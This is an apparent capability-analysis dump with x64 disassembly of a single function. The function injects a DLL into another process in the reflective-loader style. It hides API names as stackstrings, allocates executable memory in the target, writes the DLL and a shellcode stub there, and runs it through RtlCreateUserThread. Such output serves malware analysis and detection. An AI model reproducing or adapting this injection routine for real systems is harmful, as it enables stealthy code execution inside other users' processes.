Function at 0x140001410
Capabilities:
Contain obfuscated stackstrings
Get system information on windows

Disassembly:
push rbx
push rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x120
mov rax, qword [0x140005008]
xor rax, rsp
mov qword [rsp + 0x110], rax
mov r13d, r8d
mov r14, rdx
mov rsi, rcx
mov qword [rsp + 0x50], 0
mov ebx, 1
mov edi, ebx
test rcx, rcx
je 0x140001852
test rdx, rdx
je 0x140001852
test r8d, r8d
je 0x140001852
lea rcx, str.kernel32.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov r15, rax
test rax, rax
je 0x140001852
lea rdx, str.IsWow64Process
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov r12, rax
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
test r12, r12
je 0x1400014ff
lea rdx, [rsp + 0x58]
mov rcx, rsi
call r12
test eax, eax
je 0x140001852
cmp dword [rsp + 0x58], 0
jne 0x1400014fd
xorps xmm0, xmm0
movups xmmword [rsp + 0x78], xmm0
movups xmmword [rsp + 0x88], xmm0
movups xmmword [rsp + 0x98], xmm0
lea rcx, [rsp + 0x78]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
movzx eax, word [rsp + 0x78]
cmp ax, 9
jne 0x1400014f4
mov ecx, 2
mov edi, ecx
jmp 0x140001504
test ax, ax
jne 0x140001852
mov edi, ebx
mov ecx, 2
movsxd rax, dword [r14 + 0x3c]
movzx edx, word [rax + r14 + 0x18]
mov eax, 0x10b
cmp dx, ax
je 0x140001525
xor ebx, ebx
mov eax, 0x20b
cmp dx, ax
cmove ebx, ecx
cmp ebx, edi
je 0x14000154a
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r8d, eax
lea rdx, str.DLL_and_target_process_must_be_same_architecture
lea rcx, str._s._Error_d_r_n
call fcn.140001070
jmp 0x140001852
mov rcx, r14
call fcn.1400010d0
mov r15d, eax
test eax, eax
jne 0x14000157a
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r8d, eax
lea rdx, str.GetRLoaderOffset_FAILED_
lea rcx, str._s._Error_d_r_n
call fcn.140001070
jmp 0x140001852
lea ebx, [r13 + 0x40]
mov dword [rsp + 0xb8], 0x74726956
mov dword [rsp + 0xbc], 0x416c6175
mov dword [rsp + 0xc0], 0x636f6c6c
mov word [rsp + 0xc4], 0x7845
mov byte [rsp + 0xc6], 0
lea rcx, str.Kernel32.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov rcx, rax
lea rdx, [rsp + 0xb8]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ecx, ebx
mov qword [rsp + 0x58], rcx
mov dword [rsp + 0x20], 0x40
mov r9d, 0x3000
mov r8d, ebx
xor edx, edx
mov rcx, rsi
call rax
mov rbx, rax
test rax, rax
jne 0x140001617
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r8d, eax
lea rdx, str.VirtualAllocEx_FAILED_
lea rcx, str._s._Error_d_r_n
call fcn.140001070
jmp 0x140001852
mov r12, r13
xor r13d, r13d
mov qword [rsp + 0x20], r13
mov r9, r12
mov r8, r14
mov rdx, rbx
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x140001659
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r8d, eax
lea rdx, str.WriteProcessMemory_FAILED_
lea rcx, str._s._Error_d_r_n
call fcn.140001070
jmp 0x140001852
lea rax, [rbx + r15]
lea r14, [r12 + rbx]
xorps xmm0, xmm0
movups xmmword [rsp + 0xd0], xmm0
movups xmmword [rsp + 0xe0], xmm0
movups xmmword [rsp + 0xf0], xmm0
movups xmmword [rsp + 0x100], xmm0
mov qword [rsp + 0x60], rax
mov qword [rsp + 0x68], rbx
mov qword [rsp + 0x70], r13
cmp edi, 1
jne 0x1400016d6
mov byte [rsp + 0xd0], 0x68
mov dword [rsp + 0xd1], ebx
mov byte [rsp + 0xd5], 0x68
mov dword [rsp + 0xd6], r13d
mov byte [rsp + 0xda], 0xb8
mov dword [rsp + 0xdb], eax
mov word [rsp + 0xdf], 0xd0ff
lea r9d, [rdi + 0x10]
jmp 0x140001737
cmp edi, 2
jne 0x140001852
mov ecx, 0xb948
mov word [rsp + 0xd0], cx
mov qword [rsp + 0xd2], r13
mov ecx, 0xba48
mov word [rsp + 0xda], cx
mov qword [rsp + 0xdc], rbx
mov dword [rsp + 0xe4], 0x8ec8348
mov ecx, 0xb848
mov word [rsp + 0xe8], cx
mov qword [rsp + 0xea], rax
mov word [rsp + 0xf2], 0xd0ff
lea r9d, [rdi + 0x22]
mov qword [rsp + 0x20], r13
lea r8, [rsp + 0xd0]
mov rdx, r14
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x140001852
mov rdx, r14
lea rcx, str.Wrote_shellcode_to_0x_llx_n
call fcn.140001070
mov r8, qword [rsp + 0x58]
mov rdx, rbx
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_FlushInstructionCache]
lea rcx, str.ntdll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov rcx, rax
lea rdx, str.RtlCreateUserThread
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0x48], r13
lea rcx, [rsp + 0x50]
mov qword [rsp + 0x40], rcx
mov qword [rsp + 0x38], r13
mov qword [rsp + 0x30], r14
mov qword [rsp + 0x28], r13
mov qword [rsp + 0x20], r13
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov rcx, rsi
call rax
mov rcx, qword [rsp + 0x50]
test rcx, rcx
jne 0x1400017ed
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r8d, eax
lea rdx, str.Injection_FAILED_
lea rcx, str._s._Error_d_r_n
call fcn.140001070
jmp 0x140001852
mov edx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0xa8], 0x74726956
mov dword [rsp + 0xac], 0x466c6175
mov dword [rsp + 0xb0], 0x45656572
mov word [rsp + 0xb4], 0x78
lea rcx, str.Kernel32.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov rcx, rax
lea rdx, [rsp + 0xa8]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov r9d, 0x8000
mov r8, r12
mov rdx, rbx
mov rcx, rsi
call rax
jmp 0x14000185d
mov rax, qword [rsp + 0x50]
mov rcx, qword [rsp + 0x110]
xor rcx, rsp
call fcn.140001d80
add rsp, 0x120
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbx
ret